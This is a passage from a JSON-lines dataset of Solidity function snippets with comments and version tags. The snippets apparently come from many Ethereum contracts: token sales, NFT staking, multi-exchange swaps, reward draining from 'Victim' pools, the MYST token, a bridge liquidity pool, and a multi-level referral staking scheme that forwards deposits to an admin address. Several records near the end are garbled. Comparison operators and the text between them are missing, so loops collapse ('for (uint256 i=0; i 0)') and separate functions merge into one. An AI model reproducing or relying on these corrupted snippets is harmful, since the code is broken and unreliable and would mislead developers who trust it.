tranche2Rate;\r\n } else if (currentFundingUsd <= tranche3ThresholdUsd) {\r\n return tranche3Rate;\r\n } else if (currentFundingUsd <= tranche4ThresholdUsd) {\r\n return tranche4Rate;\r\n } else {\r\n return standardTrancheRate;\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Is a purchase transaction valid?\r\n * @return true if the transaction can buy tokens\r\n */", "function_code": "function validPurchase(uint256 authorizedAmount, uint256 nonce, bytes sig) internal view returns (bool) {\r\n // 84 = 20 byte address + 32 byte authorized amount + 32 byte nonce\r\n bytes memory prefix = \"\\x19Ethereum Signed Message:\\n84\";\r\n bytes32 hash = keccak256(prefix, msg.sender, authorizedAmount, nonce);\r\n bool validAuthorization = ECRecovery.recover(hash, sig) == purchaseAuthorizer;\r\n\r\n bool validNonce = !purchases[nonce];\r\n bool withinPeriod = now >= startTime && now <= endTime;\r\n bool aboveMinimum = msg.value >= minimumPurchase;\r\n bool belowAuthorized = msg.value <= authorizedAmount;\r\n bool belowCap = weiRaised.add(msg.value) <= cap;\r\n return validAuthorization && validNonce && withinPeriod && aboveMinimum && belowAuthorized && belowCap;\r\n }", "version": "0.4.19"} {"comment": "// Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders", "function_code": "function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {\r\n // If it's SNX we have to query the token symbol to ensure its not a proxy or underlying\r\n bool isSNX = (keccak256(bytes(\"SNX\")) == keccak256(bytes(ERC20Detailed(tokenAddress).symbol())));\r\n // Cannot recover the staking token or the rewards token\r\n require(\r\n tokenAddress != address(stakingToken) && tokenAddress != address(rewardsToken) && !isSNX,\r\n \"Cannot withdraw the staking or rewards tokens\"\r\n );\r\n IERC20(tokenAddress).safeTransfer(owner, tokenAmount);\r\n emit Recovered(tokenAddress, tokenAmount);\r\n }", "version": "0.5.16"} {"comment": "/**\r\n @notice This function is used swap tokens using multiple exchanges\r\n @param toWhomToIssue address to which tokens should be sent after swap\r\n \t@param path token addresses indicating the conversion path\r\n \t@param amountIn amount of tokens to swap\r\n @param minTokenOut min amount of expected tokens\r\n @param withPool indicates the exchange and its sequence we want to swap from\r\n @param poolData pool or token addresses needed for swapping tokens according to the exchange\r\n \t@param starts indicates the index of path array for each swap\r\n @return amount of tokens received after swap\r\n */", "function_code": "function MultiExchangeSwap(\r\n address payable toWhomToIssue,\r\n address[] calldata path,\r\n uint256 amountIn,\r\n uint256 minTokenOut,\r\n uint8[] calldata starts,\r\n uint8[] calldata withPool,\r\n address[] calldata poolData\r\n ) external payable nonReentrant returns (uint256 tokensBought) {\r\n require(toWhomToIssue != address(0), \"Invalid receiver address\");\r\n require(path[0] != path[path.length - 1], \"Cannot swap same tokens\");\r\n\r\n tokensBought = _swap(\r\n path,\r\n _getTokens(path[0], amountIn),\r\n starts,\r\n withPool,\r\n poolData\r\n );\r\n\r\n require(tokensBought >= minTokenOut, \"High Slippage\");\r\n _sendTokens(toWhomToIssue, path[path.length - 1], tokensBought);\r\n }", "version": "0.5.12"} {"comment": "//swap function", "function_code": "function _swap(\r\n address[] memory path,\r\n uint256 tokensToSwap,\r\n uint8[] memory starts,\r\n uint8[] memory withPool,\r\n address[] memory poolData\r\n ) internal returns (uint256) {\r\n address _to;\r\n uint8 poolIndex = 0;\r\n address[] memory _poolData;\r\n address _from = path[starts[0]];\r\n\r\n for (uint256 index = 0; index < withPool.length; index++) {\r\n uint256 endIndex = index == withPool.length.sub(1)\r\n ? path.length - 1\r\n : starts[index + 1];\r\n\r\n _to = path[endIndex];\r\n\r\n {\r\n if (withPool[index] == 2) {\r\n _poolData = _getPath(path, starts[index], endIndex + 1);\r\n } else {\r\n _poolData = new address[](1);\r\n _poolData[0] = poolData[poolIndex++];\r\n }\r\n }\r\n\r\n tokensToSwap = _swapFromPool(\r\n _from,\r\n _to,\r\n tokensToSwap,\r\n withPool[index],\r\n _poolData\r\n );\r\n\r\n _from = _to;\r\n }\r\n return tokensToSwap;\r\n }", "version": "0.5.12"} {"comment": "/**\r\n @notice This function is used swap tokens using multiple exchanges\r\n @param fromToken token addresses to swap from\r\n \t@param toToken token addresses to swap into\r\n \t@param amountIn amount of tokens to swap\r\n @param withPool indicates the exchange we want to swap from\r\n @param poolData pool or token addresses needed for swapping tokens according to the exchange\r\n \t@return amount of tokens received after swap\r\n */", "function_code": "function _swapFromPool(\r\n address fromToken,\r\n address toToken,\r\n uint256 amountIn,\r\n uint256 withPool,\r\n address[] memory poolData\r\n ) internal returns (uint256) {\r\n require(fromToken != toToken, \"Cannot swap same tokens\");\r\n require(withPool <= 3, \"Invalid Exchange\");\r\n\r\n if (withPool == 1) {\r\n return\r\n _swapWithBalancer(poolData[0], fromToken, toToken, amountIn, 1);\r\n } else if (withPool == 2) {\r\n return\r\n _swapWithUniswapV2(fromToken, toToken, poolData, amountIn, 1);\r\n } else if (withPool == 3) {\r\n return _swapWithCurve(poolData[0], fromToken, toToken, amountIn, 1);\r\n }\r\n }", "version": "0.5.12"} {"comment": "/**\r\n \t@notice This function returns part of the given array \r\n @param addresses address array to copy from\r\n \t@param _start start index\r\n \t@param _end end index\r\n @return addressArray copied from given array\r\n \t\t */", "function_code": "function _getPath(\r\n address[] memory addresses,\r\n uint256 _start,\r\n uint256 _end\r\n ) internal pure returns (address[] memory addressArray) {\r\n uint256 len = _end.sub(_start);\r\n require(len > 1, \"ERR_UNIV2_PATH\");\r\n addressArray = new address[](len);\r\n\r\n for (uint256 i = 0; i < len; i++) {\r\n if (\r\n addresses[_start + i] == address(0) ||\r\n addresses[_start + i] == ETHAddress\r\n ) {\r\n addressArray[i] = address(wethContract);\r\n } else {\r\n addressArray[i] = addresses[_start + i];\r\n }\r\n }\r\n }", "version": "0.5.12"} {"comment": "// low level token purchase function\n// @notice buyTokens\n// @param beneficiary The address of the beneficiary\n// @return the transaction address and send the event as TokenPurchase", "function_code": "function buyTokens(address beneficiary) public payable {\r\n require(publicSaleCap > 0);\r\n require(validPurchase());\r\n uint256 weiAmount = msg.value;\r\n \r\n // calculate token amount to be created\r\n uint256 tokens = weiAmount.mul(rate);\r\n\r\n uint256 Bonus = tokens.mul(getTimebasedBonusRate()).div(100);\r\n\r\n tokens = tokens.add(Bonus);\r\n \r\n if (state == State.PRESALE) {\r\n assert (soldTokenInPresale + tokens <= presaleCap);\r\n soldTokenInPresale = soldTokenInPresale.add(tokens);\r\n presaleCap=presaleCap.sub(tokens);\r\n } else if(state==State.PUBLICSALE){\r\n assert (soldTokenInPublicsale + tokens <= publicSaleCap);\r\n soldTokenInPublicsale = soldTokenInPublicsale.add(tokens);\r\n publicSaleCap=publicSaleCap.sub(tokens);\r\n }\r\n \r\n if(investedAmountOf[beneficiary] == 0) {\r\n // A new investor\r\n investorCount++;\r\n }\r\n // Update investor\r\n investedAmountOf[beneficiary] = investedAmountOf[beneficiary].add(weiAmount);\r\n forwardFunds();\r\n weiRaised = weiRaised.add(weiAmount);\r\n token.mint(beneficiary, tokens);\r\n TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);\r\n \r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Returns the rate of tokens per wei at the present time.\r\n * Note that, as price _increases_ with time, the rate _decreases_.\r\n * @return The number of tokens a buyer gets per wei at a given time\r\n */", "function_code": "function getCurrentRate() public view returns (uint256) {\r\n if (block.timestamp < 1528156799) { // 4th of June 2018 23:59:59 GTC\r\n return 1050;\r\n } else if (block.timestamp < 1528718400) { // 11th of June 2018 12:00:00 GTC\r\n return 940;\r\n } else if (block.timestamp < 1529323200) { // 18th of June 2018 12:00:00 GTC\r\n return 865;\r\n } else if (block.timestamp < 1529928000) { // 25th of June 2018 12:00:00 GTC\r\n return 790;\r\n } else {\r\n return 750;\r\n }\r\n }", "version": "0.4.25"} {"comment": "// Get the time-based bonus rate", "function_code": "function getTimebasedBonusRate() internal constant returns (uint256) {\r\n \t uint256 bonusRate = 0;\r\n if (state == State.PRESALE) {\r\n bonusRate = 100;\r\n } else {\r\n uint256 nowTime = getNow();\r\n uint256 bonusFirstWeek = startTime + (7 days * 1000);\r\n uint256 bonusSecondWeek = bonusFirstWeek + (7 days * 1000);\r\n uint256 bonusThirdWeek = bonusSecondWeek + (7 days * 1000);\r\n uint256 bonusFourthWeek = bonusThirdWeek + (7 days * 1000);\r\n if (nowTime <= bonusFirstWeek) {\r\n bonusRate = 30;\r\n } else if (nowTime <= bonusSecondWeek) {\r\n bonusRate = 30;\r\n } else if (nowTime <= bonusThirdWeek) {\r\n bonusRate = 15;\r\n } else if (nowTime <= bonusFourthWeek) {\r\n bonusRate = 15;\r\n }\r\n }\r\n return bonusRate;\r\n }", "version": "0.4.18"} {"comment": "// Staking CHAD APE", "function_code": "function stakeChadApe(uint256 tokenId) public {\n require(!paused, \"Contract paused\");\n require (msg.sender == CAGC.ownerOf(tokenId), \"Sender must be the owner\");\n require(CAGC.isApprovedForAll(msg.sender, address(this)));\n\n Staking memory staking = Staking(block.timestamp, msg.sender);\n stakings[tokenId] = staking;\n stakingsByOwner[msg.sender].push(tokenId);\n CAGC.transferFrom(msg.sender, address(this), tokenId);\n }", "version": "0.8.7"} {"comment": "// Un-staking", "function_code": "function unstakeChadApe(uint256 tokenId) internal {\n Staking storage staking = stakings[tokenId];\n uint256[] storage stakedApes = stakingsByOwner[msg.sender];\n uint16 index = 0;\n for (; index < stakedApes.length; index++) {\n if (stakedApes[index] == tokenId) {\n break;\n }\n }\n require(index < stakedApes.length, \"Chad Ape not found\");\n stakedApes[index] = stakedApes[stakedApes.length - 1];\n stakedApes.pop();\n staking.owner = address(0);\n CAGC.transferFrom(address(this), msg.sender, tokenId);\n }", "version": "0.8.7"} {"comment": "// emergency Un-staking\n// remember user won't receive any rewards if the user use this method", "function_code": "function emergencyUnstakeChadApe(uint256 tokenId) external {\n require(CAGC.ownerOf(tokenId) == address(this), \"The Chad Ape must be staked\");\n Staking storage staking = stakings[tokenId];\n require(staking.owner == msg.sender, \"Sender must be the owner\");\n uint256[] storage stakedApes = stakingsByOwner[msg.sender];\n uint16 index = 0;\n for (; index < stakedApes.length; index++) {\n if (stakedApes[index] == tokenId) {\n break;\n }\n }\n require(index < stakedApes.length, \"Chad Ape not found\");\n stakedApes[index] = stakedApes[stakedApes.length - 1];\n stakedApes.pop();\n staking.owner = address(0);\n CAGC.transferFrom(address(this), msg.sender, tokenId);\n }", "version": "0.8.7"} {"comment": "// Get staking info by user", "function_code": "function stakingInfo(address owner) public view returns (StakingInfo[] memory) {\n uint256 balance = stakedBalanceOf(owner);\n StakingInfo[] memory list = new StakingInfo[](balance);\n\n for (uint16 i = 0; i < balance; i++) {\n uint256 tokenId = stakingsByOwner[owner][i];\n Staking memory staking = stakings[tokenId];\n uint256 reward = calculateReward(tokenId);\n list[i] = StakingInfo(tokenId, staking.timestamp, reward);\n }\n\n return list;\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Deploys a contract using `CREATE2`. The address where the contract\r\n * will be deployed can be known in advance via {computeAddress}.\r\n *\r\n * The bytecode for a contract can be obtained from Solidity with\r\n * `type(contractName).creationCode`.\r\n *\r\n * Requirements:\r\n *\r\n * - `bytecode` must not be empty.\r\n * - `salt` must have not been used for `bytecode` already.\r\n * - the factory must have a balance of at least `amount`.\r\n * - if `amount` is non-zero, `bytecode` must have a `payable` constructor.\r\n */", "function_code": "function deploy(\r\n uint256 amount,\r\n bytes32 salt,\r\n bytes memory bytecode\r\n ) internal returns (address) {\r\n address addr;\r\n require(address(this).balance >= amount, \"Create2: insufficient balance\");\r\n require(bytecode.length != 0, \"Create2: bytecode length is zero\");\r\n assembly {\r\n addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\r\n }\r\n require(addr != address(0), \"Create2: Failed on deploy\");\r\n return addr;\r\n }", "version": "0.8.4"} {"comment": "/// Can only be called by DrainController", "function_code": "function drain(uint256 pid) external {\r\n require(drainController == msg.sender, \"not drainctrl\");\r\n PoolInfo storage pool = poolInfo[pid];\r\n Victim victim = pool.victim;\r\n uint256 victimPoolId = pool.victimPoolId;\r\n victim.claimReward(pid, victimPoolId);\r\n IERC20 rewardToken = victim.rewardToken(pid);\r\n uint256 claimedReward = rewardToken.balanceOf(address(this));\r\n\r\n if (claimedReward == 0) {\r\n return;\r\n }\r\n\r\n uint256 wethReward = victim.sellRewardForWeth(pid, claimedReward, address(this));\r\n // Take a % of the drained reward to be redistributed to other contracts\r\n uint256 wethDrainAmount = wethReward.mul(wethDrainModifier).div(1000);\r\n if (wethDrainAmount > 0) {\r\n weth.transfer(drainAddress, wethDrainAmount);\r\n wethReward = wethReward.sub(wethDrainAmount);\r\n }\r\n\r\n // Remainder of rewards go to users of the drained pool as interest-bearing ETH\r\n uint256 ibethBefore = IIBVEth(IBVETH).balance(address(this));\r\n (bool success,) = IBVETH.delegatecall(abi.encodeWithSignature(\"handleDrainedWETH(uint256)\", wethReward));\r\n require(success, \"handleDrainedWETH(uint256 amount) delegatecall failed.\");\r\n uint256 ibethAfter = IIBVEth(IBVETH).balance(address(this));\r\n\r\n pool.wethAccumulator = pool.wethAccumulator.add(ibethAfter.sub(ibethBefore));\r\n }", "version": "0.7.6"} {"comment": "/// This function allows owner to take unsupported tokens out of the contract.\n/// It also allows for removal of airdropped tokens.", "function_code": "function recoverUnsupported(IERC20 token, uint256 amount, address to) external onlyOwner {\r\n uint256 length = poolInfo.length;\r\n for (uint256 pid = 0; pid < length; ++pid) {\r\n PoolInfo storage pool = poolInfo[pid];\r\n IERC20 lpToken = pool.victim.lockableToken(pool.victimPoolId);\r\n // cant take staked asset\r\n require(token != lpToken, \"!pool.lpToken\");\r\n }\r\n // transfer to\r\n token.safeTransfer(to, amount);\r\n }", "version": "0.7.6"} {"comment": "/// Claim rewards from pool", "function_code": "function _claim(uint256 pid, bool withdrawing, uint8 flag) internal {\r\n PoolInfo storage pool = poolInfo[pid];\r\n UserInfo storage user = userInfo[pid][msg.sender];\r\n uint256 pending = user.amount.mul(pool.accWethPerShare).div(1e12).sub(user.rewardDebt);\r\n if (pending > 0) {\r\n if (withdrawing && withdrawalPenalty > 0 && block.timestamp < user.coolOffTime) {\r\n uint256 fee = pending.mul(withdrawalPenalty).div(1000);\r\n pending = pending.sub(fee);\r\n pool.wethAccumulator = pool.wethAccumulator.add(fee);\r\n }\r\n\r\n (bool success,) = address(IBVETH).delegatecall(abi.encodeWithSignature(\"handleClaim(uint256,uint8)\", pending, flag));\r\n require(success, \"handleClaim(uint256 pending, uint8 flag) delegatecall failed.\");\r\n }\r\n }", "version": "0.7.6"} {"comment": "/// Hook that when enabled manually calls _beforeTokenTransfer on", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal override {\r\n if (advancedConfig.hasTransferHook) {\r\n (bool success, ) = address(this).delegatecall(\r\n abi.encodeWithSignature(\r\n \"_beforeTokenTransfer(address,address,uint256)\",\r\n from,\r\n to,\r\n tokenId\r\n )\r\n );\r\n // Raise error again from result if error exists\r\n assembly {\r\n switch success\r\n // delegatecall returns 0 on error.\r\n case 0 {\r\n returndatacopy(0, 0, returndatasize())\r\n revert(0, returndatasize())\r\n }\r\n }\r\n }\r\n }", "version": "0.8.9"} {"comment": "/// Get royalty information for token\n/// ignored token id to get royalty info. able to override and set per-token royalties\n/// @param _salePrice sales price for token to determine royalty split", "function_code": "function royaltyInfo(uint256, uint256 _salePrice)\r\n external\r\n view\r\n override\r\n returns (address receiver, uint256 royaltyAmount)\r\n {\r\n // If ownership is revoked, don't set royalties.\r\n if (owner() == address(0x0)) {\r\n return (owner(), 0);\r\n }\r\n return (owner(), (_salePrice * advancedConfig.royaltyBps) / 10_000);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * ERC2612 `permit`: 712-signed token approvals\r\n */", "function_code": "function permit(address holder, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {\r\n require(deadline >= block.timestamp, 'MYST: Permit expired');\r\n bytes32 digest = keccak256(\r\n abi.encodePacked(\r\n '\\x19\\x01',\r\n DOMAIN_SEPARATOR,\r\n keccak256(abi.encode(PERMIT_TYPEHASH, holder, spender, value, nonces[holder]++, deadline))\r\n )\r\n );\r\n address recoveredAddress = ecrecover(digest, v, r, s);\r\n require(recoveredAddress != address(0) && recoveredAddress == holder, 'MYST: invalid signature');\r\n _approve(holder, spender, value);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * Note that we're not decreasing allowance of uint(-1). This makes it simple to ERC777 operator.\r\n */", "function_code": "function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {\r\n // require(recipient != address(0), \"MYST: transfer to the zero address\");\r\n require(holder != address(0), \"MYST: transfer from the zero address\");\r\n address spender = _msgSender();\r\n\r\n // Allowance for uint256(-1) means \"always allowed\" and is analog for erc777 operators but in erc20 semantics.\r\n if (holder != spender && _allowances[holder][spender] != uint256(-1)) {\r\n _approve(holder, spender, _allowances[holder][spender].sub(amount, \"MYST: transfer amount exceeds allowance\"));\r\n }\r\n\r\n _move(holder, recipient, amount);\r\n return true;\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * Creates `amount` tokens and assigns them to `holder`, increasing\r\n * the total supply.\r\n */", "function_code": "function _mint(address holder, uint256 amount) internal {\r\n require(holder != address(0), \"MYST: mint to the zero address\");\r\n\r\n // Update state variables\r\n _totalSupply = _totalSupply.add(amount);\r\n _balances[holder] = _balances[holder].add(amount);\r\n\r\n emit Minted(holder, amount);\r\n emit Transfer(address(0), holder, amount);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * Tokens can be upgraded by calling this function.\r\n */", "function_code": "function upgrade(uint256 amount) public {\r\n UpgradeState state = getUpgradeState();\r\n require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading, \"MYST: token is not in upgrading state\");\r\n\r\n require(amount != 0, \"MYST: upgradable amount should be more than 0\");\r\n\r\n address holder = _msgSender();\r\n\r\n // Burn tokens to be upgraded\r\n _burn(holder, amount);\r\n\r\n // Remember how many tokens we have upgraded\r\n _totalUpgraded = _totalUpgraded.add(amount);\r\n\r\n // Upgrade agent upgrades/reissues tokens\r\n _upgradeAgent.upgradeFrom(holder, amount);\r\n emit Upgrade(holder, upgradeAgent(), amount);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * Setting new destination of funds recovery.\r\n */", "function_code": "function setFundsDestination(address newDestination) public {\r\n require(_msgSender()== _upgradeMaster, \"MYST: only a master can set funds destination\");\r\n require(newDestination != address(0), \"MYST: funds destination can't be zero addreess\");\r\n\r\n _fundsDestination = newDestination;\r\n emit FundsRecoveryDestinationChanged(_fundsDestination, newDestination);\r\n }", "version": "0.6.11"} {"comment": "/**\r\n * @notice Add liquidity to the bridge pool. Pulls l1Token from the caller's wallet. The caller is sent back a\r\n * commensurate number of LP tokens (minted to their address) at the prevailing exchange rate.\r\n * @dev The caller must approve this contract to transfer `l1TokenAmount` amount of l1Token if depositing ERC20.\r\n * @dev The caller can deposit ETH which is auto wrapped to WETH. This can only be done if: a) this is the Weth pool\r\n * and b) the l1TokenAmount matches to the transaction msg.value.\r\n * @dev Reentrancy guard not added to this function because this indirectly calls sync() which is guarded.\r\n * @param l1TokenAmount Number of l1Token to add as liquidity.\r\n */", "function_code": "function addLiquidity(uint256 l1TokenAmount) public payable nonReentrant() {\r\n // If this is the weth pool and the caller sends msg.value then the msg.value must match the l1TokenAmount.\r\n // Else, msg.value must be set to 0.\r\n require((isWethPool && msg.value == l1TokenAmount) || msg.value == 0, \"Bad add liquidity Eth value\");\r\n\r\n // Since `exchangeRateCurrent()` reads this contract's balance and updates contract state using it,\r\n // we must call it first before transferring any tokens to this contract.\r\n uint256 lpTokensToMint = (l1TokenAmount * 1e18) / _exchangeRateCurrent();\r\n _mint(msg.sender, lpTokensToMint);\r\n liquidReserves += l1TokenAmount;\r\n\r\n if (msg.value > 0 && isWethPool) WETH9Like(address(l1Token)).deposit{ value: msg.value }();\r\n else l1Token.safeTransferFrom(msg.sender, address(this), l1TokenAmount);\r\n\r\n emit LiquidityAdded(l1TokenAmount, lpTokensToMint, msg.sender);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Removes liquidity from the bridge pool. Burns lpTokenAmount LP tokens from the caller's wallet. The caller\r\n * is sent back a commensurate number of l1Tokens at the prevailing exchange rate.\r\n * @dev The caller does not need to approve the spending of LP tokens as this method directly uses the burn logic.\r\n * @dev Reentrancy guard not added to this function because this indirectly calls sync() which is guarded.\r\n * @param lpTokenAmount Number of lpTokens to redeem for underlying.\r\n * @param sendEth Enable the liquidity provider to remove liquidity in ETH, if this is the WETH pool.\r\n */", "function_code": "function removeLiquidity(uint256 lpTokenAmount, bool sendEth) public nonReentrant() {\r\n // Can only send eth on withdrawing liquidity iff this is the WETH pool.\r\n require(!sendEth || isWethPool, \"Cant send eth\");\r\n uint256 l1TokensToReturn = (lpTokenAmount * _exchangeRateCurrent()) / 1e18;\r\n\r\n // Check that there is enough liquid reserves to withdraw the requested amount.\r\n require(liquidReserves >= (pendingReserves + l1TokensToReturn), \"Utilization too high to remove\");\r\n\r\n _burn(msg.sender, lpTokenAmount);\r\n liquidReserves -= l1TokensToReturn;\r\n\r\n if (sendEth) _unwrapWETHTo(payable(msg.sender), l1TokensToReturn);\r\n else l1Token.safeTransfer(msg.sender, l1TokensToReturn);\r\n\r\n emit LiquidityRemoved(l1TokensToReturn, lpTokenAmount, msg.sender);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @notice Called by Disputer to dispute an ongoing relay.\r\n * @dev The result of this method is to always throw out the relay, providing an opportunity for another relay for\r\n * the same deposit. Between the disputer and proposer, whoever is incorrect loses their bond. Whoever is correct\r\n * gets it back + a payout.\r\n * @dev Caller must have approved this contract to spend the total bond + amount - fees for `l1Token`.\r\n * @param depositData the deposit data struct containing all the user's deposit information.\r\n * @param relayData RelayData logged in the disputed relay.\r\n */", "function_code": "function disputeRelay(DepositData memory depositData, RelayData memory relayData) public nonReentrant() {\r\n require(relayData.priceRequestTime + optimisticOracleLiveness > getCurrentTime(), \"Past liveness\");\r\n require(relayData.relayState == RelayState.Pending, \"Not disputable\");\r\n // Validate the input data.\r\n bytes32 depositHash = _getDepositHash(depositData);\r\n _validateRelayDataHash(depositHash, relayData);\r\n\r\n // Submit the proposal and dispute to the OO.\r\n bytes32 relayHash = _getRelayHash(depositData, relayData);\r\n\r\n // Note: in some cases this will fail due to changes in the OO and the method will refund the relayer.\r\n bool success =\r\n _requestProposeDispute(\r\n relayData.slowRelayer,\r\n msg.sender,\r\n relayData.proposerBond,\r\n relayData.finalFee,\r\n _getRelayAncillaryData(relayHash)\r\n );\r\n\r\n // Drop the relay and remove the bond from the tracked bonds.\r\n bonds -= relayData.finalFee + relayData.proposerBond;\r\n pendingReserves -= depositData.amount;\r\n delete relays[depositHash];\r\n if (success) emit RelayDisputed(depositHash, _getRelayDataHash(relayData), msg.sender);\r\n else emit RelayCanceled(depositHash, _getRelayDataHash(relayData), msg.sender);\r\n }", "version": "0.8.9"} {"comment": "// Return hash of unique instant relay and deposit event. This is stored in state and mapped to a deposit hash.", "function_code": "function _getInstantRelayHash(bytes32 depositHash, RelayData memory relayData) private pure returns (bytes32) {\r\n // Only include parameters that affect the \"correctness\" of an instant relay. For example, the realized LP fee\r\n // % directly affects how many tokens the instant relayer needs to send to the user, whereas the address of the\r\n // instant relayer does not matter for determining whether an instant relay is \"correct\".\r\n return keccak256(abi.encode(depositHash, relayData.realizedLpFeePct));\r\n }", "version": "0.8.9"} {"comment": "// Update internal fee counters by adding in any accumulated fees from the last time this logic was called.", "function_code": "function _updateAccumulatedLpFees() internal {\r\n // Calculate the unallocatedAccumulatedFees from the last time the contract was called.\r\n uint256 unallocatedAccumulatedFees = _getAccumulatedFees();\r\n\r\n // Decrement the undistributedLpFees by the amount of accumulated fees.\r\n undistributedLpFees = undistributedLpFees - unallocatedAccumulatedFees;\r\n\r\n lastLpFeeUpdate = uint32(getCurrentTime());\r\n }", "version": "0.8.9"} {"comment": "// Allocate fees to the LPs by incrementing counters.", "function_code": "function _allocateLpFees(uint256 allocatedLpFees) internal {\r\n // Add to the total undistributed LP fees and the utilized reserves. Adding it to the utilized reserves acts to\r\n // track the fees while they are in transit.\r\n undistributedLpFees += allocatedLpFees;\r\n utilizedReserves += int256(allocatedLpFees);\r\n }", "version": "0.8.9"} {"comment": "// get reference parent address matching the level tree", "function_code": "function getReferenceParent(address _child, uint256 _level) public view returns(address) {\r\n uint i;\r\n address pointer = _child;\r\n\r\n while(i < marketingLevels.length) {\r\n pointer = referrals[pointer];\r\n\r\n if (i == _level) {\r\n return pointer;\r\n }\r\n\r\n i++;\r\n }\r\n\r\n return address(0);\r\n }", "version": "0.6.12"} {"comment": "// user register referral address", "function_code": "function register(address _refer) public {\r\n require(msg.sender != _refer, \"ERROR: address cannot refer itself\");\r\n require(referrals[msg.sender] == address(0), \"ERROR: already set refer address\");\r\n\r\n // owner address is the root of references tree\r\n if (_refer != owner() && !getWhiteListRoot(_refer)) {\r\n require(referrals[_refer] != address(0), \"ERROR: invalid refer address\");\r\n }\r\n\r\n // update reference tree\r\n referrals[msg.sender] = _refer;\r\n\r\n emit LinkCreated(msg.sender, _refer);\r\n }", "version": "0.6.12"} {"comment": "// get total user unstake requested amount", "function_code": "function getUserPendingUnstake(uint256 _pool, address _user) public view returns(uint256) {\r\n uint256 amount;\r\n for (uint256 i=0; i 0) {\r\n uint256 percent = iController.getMarketingLevelValue(level);\r\n uint256 referProfitAmount = profitAmount.mul(percent).div(100).div(1e6);\r\n estimateAmount = estimateAmount.add(referProfitAmount);\r\n }\r\n\r\n level++;\r\n }\r\n }\r\n\r\n return estimateAmount;\r\n }", "version": "0.6.12"} {"comment": "// update profit for reference parents", "function_code": "function payoutReference(uint256 _pool, address _child, uint256 _amount) internal returns(uint256) {\r\n uint256 totalPayout;\r\n Controller iController = Controller(controller);\r\n uint256 maxLevel = iController.getMarketingMaxLevel();\r\n uint256 level;\r\n while(level < maxLevel) {\r\n address parent = iController.getReferenceParent(_child, level);\r\n if (parent == address(0)) break;\r\n\r\n if (getUserStakedBalance(_pool, parent) > 0) {\r\n uint256 percent = iController.getMarketingLevelValue(level);\r\n uint256 referProfitAmount = _amount.mul(percent).div(100).div(1e6);\r\n\r\n increaseUserPendingReward(_pool, parent, referProfitAmount);\r\n totalPayout = totalPayout.add(referProfitAmount);\r\n }\r\n\r\n level++;\r\n }\r\n\r\n return totalPayout;\r\n }", "version": "0.6.12"} {"comment": "// deposit amount of ETH or tokens to contract\n// user MUST call approve function in Token contract to approve _value for this contract\n//\n// after deposit, _value added to staking balance\n// after one payout action, staking balance will be moved to staked balance", "function_code": "function stake(uint256 _pool, uint256 _value) public payable {\r\n if (_pool == 0) {\r\n increaseUserStakingBalance(_pool, msg.sender, msg.value);\r\n\r\n TransferHelper.safeTransferETH(admin, msg.value);\r\n\r\n emit Stake(msg.sender, _pool, msg.value);\r\n } else {\r\n TransferHelper.safeTransferFrom(pools[_pool].token, msg.sender, address(this), _value);\r\n TransferHelper.safeTransfer(pools[_pool].token, admin, _value);\r\n\r\n increaseUserStakingBalance(_pool, msg.sender, _value);\r\n\r\n emit Stake(msg.sender, _pool, _value);\r\n }\r\n\r\n bool isListed;\r\n for (uint256 i=0; i user\r\n TransferHelper.safeTransfer(pools[_pool].token, user, unstakeRequests[_pool][i].amount);\r\n tokenBalance = tokenBalance.sub(unstakeRequests[_pool][i].amount);\r\n\r\n decreaseUserStakedBalance(_pool, user, unstakeRequests[_pool][i].amount);\r\n setProcessedUnstakeRequest(_pool, i);\r\n }\r\n }\r\n\r\n emit UnstakeProcessed(msg.sender, _pool, _amount);\r\n }\r\n }", "version": "0.6.12"} {"comment": "//MulDiv functions : source https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1", "function_code": "function mulDiv(uint x, uint y, uint z) public pure returns (uint) {\r\n (uint l, uint h) = fullMul (x, y);\r\n assert (h < z);\r\n uint mm = mulmod(x, y, z);\r\n if (mm > l) h -= 1;\r\n l -= mm;\r\n uint pow2 = z & -z;\r\n z /= pow2;\r\n l /= pow2;\r\n l += h * ((-pow2) / pow2 + 1);\r\n uint r = 1;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n r *= 2 - z * r;\r\n return l * r;\r\n }", "version": "0.7.0"} {"comment": "//Required for MulDiv", "function_code": "function fullMul(uint x, uint y) private pure returns (uint l, uint h) {\r\n uint mm = mulmod(x, y, uint (-1));\r\n l = x * y;\r\n h = mm - l;\r\n if (mm < l) h -= 1;\r\n }", "version": "0.7.0"} {"comment": "//Redeem lotto cards", "function_code": "function redeemLotto(uint256 _cardID) public {\r\n\r\n //Check ownership of card\r\n require(crafterContract.balanceOf(msg.sender, _cardID) > 0, \"You do not own this card\");\r\n //Make sure card is a lotto card\r\n require(_cardID < 5, \"Card is not a lotto card\");\r\n\r\n uint256 _cardAmount = 1;\r\n string memory _collectionName;\r\n\r\n if(_cardID < 3) {\r\n _collectionName = \"Ethereum Lotto\";\r\n if(_cardID == 1) {\r\n _cardAmount = 10;\r\n require(crafterContract.balanceOf(msg.sender, _cardID) >= _cardAmount, \"10 common cards required to craft\");\r\n } else {\r\n require(crafterContract.balanceOf(msg.sender, _cardID) >= _cardAmount, \"1 rare card required to craft\");\r\n }\r\n } else {\r\n _collectionName = \"LYNC Token Lotto\";\r\n if(_cardID == 3) {\r\n _cardAmount = 10;\r\n require(crafterContract.balanceOf(msg.sender, _cardID) >= 